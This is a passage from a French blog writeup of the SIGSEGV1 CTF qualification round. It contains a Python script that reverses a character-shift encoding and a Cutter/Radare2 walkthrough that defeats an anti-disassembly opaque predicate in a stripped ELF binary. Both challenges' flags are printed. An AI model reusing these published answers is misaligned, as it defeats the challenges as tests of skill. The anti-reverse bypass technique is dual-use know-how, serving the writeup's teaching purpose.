</span><span class="sc11">s</span> <span class="sc10">=</span> <span class="sc11">sys</span><span class="sc10">.</span><span class="sc11">argv</span><span class="sc10">[</span><span class="sc2">1</span><span class="sc10">]</span><span class="sc0"><br />
</span><span class="sc1"># Compute shift from « sigsegv{&#8230;.} »</span><span class="sc0"><br />
</span><span class="sc11">dec1</span> <span class="sc10">=</span> <span class="sc11">ord</span><span class="sc10">(</span><span class="sc11">s</span><span class="sc10">[</span><span class="sc2">0</span><span class="sc10">*</span><span class="sc2">2</span><span class="sc10">+</span><span class="sc2">1</span><span class="sc10">])-</span><span class="sc11">ord</span><span class="sc10">(</span><span class="sc4">&lsquo;s&rsquo;</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc11">dec2</span> <span class="sc10">=</span> <span class="sc11">ord</span><span class="sc10">(</span><span class="sc11">s</span><span class="sc10">[</span><span class="sc2">1</span><span class="sc10">*</span><span class="sc2">2</span><span class="sc10">+</span><span class="sc2">1</span><span class="sc10">])-</span><span class="sc11">ord</span><span class="sc10">(</span><span class="sc4">&lsquo;i&rsquo;</span><span class="sc10">)</span></span></span><br />
<span class="w-code"><span class="w-code"><span class="sc1"># Apply unshift</span><span class="sc0"><br />
</span><span class="sc11">sol</span> <span class="sc10">=</span> <span class="sc4"> »</span><span class="sc0"><br />
</span><span class="sc5">for</span> <span class="sc11">i</span> <span class="sc5">in</span> <span class="sc11">range</span><span class="sc10">(</span><span class="sc2">0</span><span class="sc10">,</span> <span class="sc11">len</span><span class="sc10">(</span><span class="sc11">s</span><span class="sc10">),</span> <span class="sc2">2</span><span class="sc10">):</span><span class="sc0"><br />
</span><span class="sc5">if</span> <span class="sc11">ord</span><span class="sc10">(</span><span class="sc11">s</span><span class="sc10">[</span><span class="sc11">i</span><span class="sc10">])==</span><span class="sc2">0xc8</span><span class="sc10">:</span><span class="sc0"><br />
</span><span class="sc11">sol</span> <span class="sc10">+=</span> <span class="sc11">chr</span><span class="sc10">(</span><span class="sc11">ord</span><span class="sc10">(</span><span class="sc11">s</span><span class="sc10">[</span><span class="sc11">i</span><span class="sc10">+</span><span class="sc2">1</span><span class="sc10">])-</span><span class="sc11">dec1</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc5">else</span><span class="sc10">:</span><span class="sc0"><br />
</span><span class="sc11">sol</span> <span class="sc10">+=</span> <span class="sc11">chr</span><span class="sc10">(</span><span class="sc11">ord</span><span class="sc10">(</span><span class="sc11">s</span><span class="sc10">[</span><span class="sc11">i</span><span class="sc10">+</span><span class="sc2">1</span><span class="sc10">])-</span><span class="sc11">dec2</span><span class="sc10">)</span></span></span><br />
<span class="w-code"><span class="sc5">print</span> <span class="sc11">sol</span></span><br />
L&rsquo;exécution fournit le flag suivant : <span class="w-inline-code">sigsegv{LASTEGACESTPASSIFACILE}</span>.</p>
<h2>Reverse : antistrings (x0rz)</h2>
</div>
<div>
<p>Description : Faites-moi confiance, XOR n&rsquo;est pas la solution.</p>
<div style="text-align: justify;">Le challenge se présente sous la forme d&rsquo;un binaire ELF 64-bit <i>strippé</i>. Ce writeup utilisera <b>Cutter</b>, l&rsquo;interface graphique de <b>Radare2</b>. Les première étapes sont assez simples, puisque la fonction <b>main </b>ne possède qu&rsquo;un appel à une autre fonction :</div>
<p>&nbsp;</p>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://4.bp.blogspot.com/-jcZwKYrbErg/W8iFR7piBII/AAAAAAAAAkM/7FCtPAAJrj49BoNPi7OszNMpfjz41bvmQCLcBGAs/s1600/5_1.png"><img decoding="async" src="https://4.bp.blogspot.com/-jcZwKYrbErg/W8iFR7piBII/AAAAAAAAAkM/7FCtPAAJrj49BoNPi7OszNMpfjz41bvmQCLcBGAs/s1600/5_1.png" border="0" data-original-height="166" data-original-width="445" /></a></div>
<p>&nbsp;</p>
<div class="separator" style="clear: both; text-align: justify;">Si l&rsquo;on tente d&rsquo;afficher le graphe de la fonction située à <b>0x004009e0</b>, l&rsquo;erreur suivante se produit :</div>
<div class="separator" style="clear: both; text-align: justify;"></div>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://1.bp.blogspot.com/-q9M_AOzJ_a0/W8iFR6vqHCI/AAAAAAAAAkQ/sxYw2esFTxo2h6zW4EaNda-vLRWrbXm7QCLcBGAs/s1600/5_2.png"><img decoding="async" src="https://1.bp.blogspot.com/-q9M_AOzJ_a0/W8iFR6vqHCI/AAAAAAAAAkQ/sxYw2esFTxo2h6zW4EaNda-vLRWrbXm7QCLcBGAs/s1600/5_2.png" border="0" data-original-height="551" data-original-width="524" /></a></div>
<div class="separator" style="clear: both; text-align: justify;"></div>
<div style="text-align: justify;">Il s&rsquo;agit là d&rsquo;une technique anti-reverse, que l&rsquo;on peut observer plus en détails dans l&rsquo;affichage linéaire de Cutter :</div>
<p>&nbsp;</p>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://3.bp.blogspot.com/-6BTguhm1L3c/W8iI9lxdBnI/AAAAAAAAAk8/Ky41z5DUWN0qtzDR6wBye1ej1kAimrQEgCLcBGAs/s1600/5_4_1.png"><img decoding="async" src="https://3.bp.blogspot.com/-6BTguhm1L3c/W8iI9lxdBnI/AAAAAAAAAk8/Ky41z5DUWN0qtzDR6wBye1ej1kAimrQEgCLcBGAs/s1600/5_4_1.png" border="0" data-original-height="182" data-original-width="446" /></a></div>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>&nbsp;</p>
<div style="text-align: justify;">Ci-dessous le détail des instructions :</div>
<div style="text-align: justify;"></div>
<ul>
<li><i>push rax</i> : sauvegarde la valeur courante de RAX sur la pile</li>
<li><i>xor eax, eax</i> : remet la valeur de EAX à 0</li>
<li><i>test eax, eax</i> : teste si la valeur de EAX est nulle et fixe le flag Z à 1</li>
<li><i>pop rax</i> : récupère la valeur sauvegardée de RAX depuis la pile</li>
<li><i>jne 0x4009ee</i> : saute à l&rsquo;adresse indiquée si le flag Z vaut 0 (non pris)</li>
<li><i>je 0x4009ef</i> : saute à l&rsquo;adresse indiquée si le flag Z vaut 1 (pris)</li>
</ul>
<div>Seulement, les instructions à l&rsquo;adresse <b>0x4009ef </b>ne sont pas désassemblées puisqu&rsquo;une instruction <b>jmp </b>commence à l&rsquo;octet précédent. Le saut à l&rsquo;octet précédent n&rsquo;étant jamais emprunté, il est possible d&rsquo;ignorer cette instruction et de demander le désassemblage à partir de <b>0x4009ef</b>.</div>
<div>Pour cela, un clic-droit à l&rsquo;adresse <b>0x4009ee </b>fait apparaître le menu suivant :</div>
<div></div>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://4.bp.blogspot.com/-kM26ZY4huGE/W8iFSZy3O3I/AAAAAAAAAkw/PdN6Af1Kmk0b9GQW7X8Hik087piyn3fzACEwYBhgL/s1600/5_4.png"><img decoding="async" src="https://4.bp.blogspot.com/-kM26ZY4huGE/W8iFSZy3O3I/AAAAAAAAAkw/PdN6Af1Kmk0b9GQW7X8Hik087piyn3fzACEwYBhgL/s1600/5_4.png" border="0" data-original-height="166" data-original-width="481" /></a></div>
<div></div>
<div>Il est alors possible d&rsquo;observer le code qui devrait être normalement exécuté :</div>
<div></div>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://3.bp.blogspot.com/-_7mO1fWzQ1Y/W8iFSw4EagI/AAAAAAAAAk0/zoH48-ParjgdUI09V49VImKfDWPe6P6AwCEwYBhgL/s1600/5_5.png"><img decoding="async" src="https://3.bp.blogspot.com/-_7mO1fWzQ1Y/W8iFSw4EagI/AAAAAAAAAk0/zoH48-ParjgdUI09V49VImKfDWPe6P6AwCEwYBhgL/s1600/5_5.png" border="0" data-original-height="78" data-original-width="353" /></a></div>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: justify;">En analysant plus précisément le binaire, on se rend compte que ces techniques empêchent simplement le graphe de flot de contrôle (CFG) et que le désassemblage reste intact.</div>
<div class="separator" style="clear: both; text-align: justify;">L&rsquo;analyse était donc simplement possible en ignorant ces bouts de code invalides. Il est alors facile d&rsquo;identifier la fonction qui gère le flag, <b>sub.BB_7c2</b>. Bien que des astuces anti-reverse soient également présentes, les lettres du flag sont clairement visibles :</div>
<div class="separator" style="clear: both; text-align: justify;"></div>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://2.bp.blogspot.com/-JWo-np9INfo/W8iFTSyG-YI/AAAAAAAAAk0/c_D-NPTox-gO22vANyivEGp0XXW5Xp2swCEwYBhgL/s1600/5_6.png"><img decoding="async" src="https://2.bp.blogspot.com/-JWo-np9INfo/W8iFTSyG-YI/AAAAAAAAAk0/c_D-NPTox-gO22vANyivEGp0XXW5Xp2swCEwYBhgL/s1600/5_6.png" border="0" data-original-height="384" data-original-width="404" /></a></div>
<div class="separator" style="clear: both; text-align: justify;"></div>
<div>Le flag récupéré est alors <span class="w-inline-code">sigsegv{W3llPl4y3d}</span>.</div>
</div>
<p>&nbsp;</p>
<div style="text-align: right;"><b><span style="color: #351c75;">Jean MARSAULT</span></b></div>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2018/10/ctf-quals-rtfm/">[CTF] Writeup du round de qualification SIGSEGV1</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
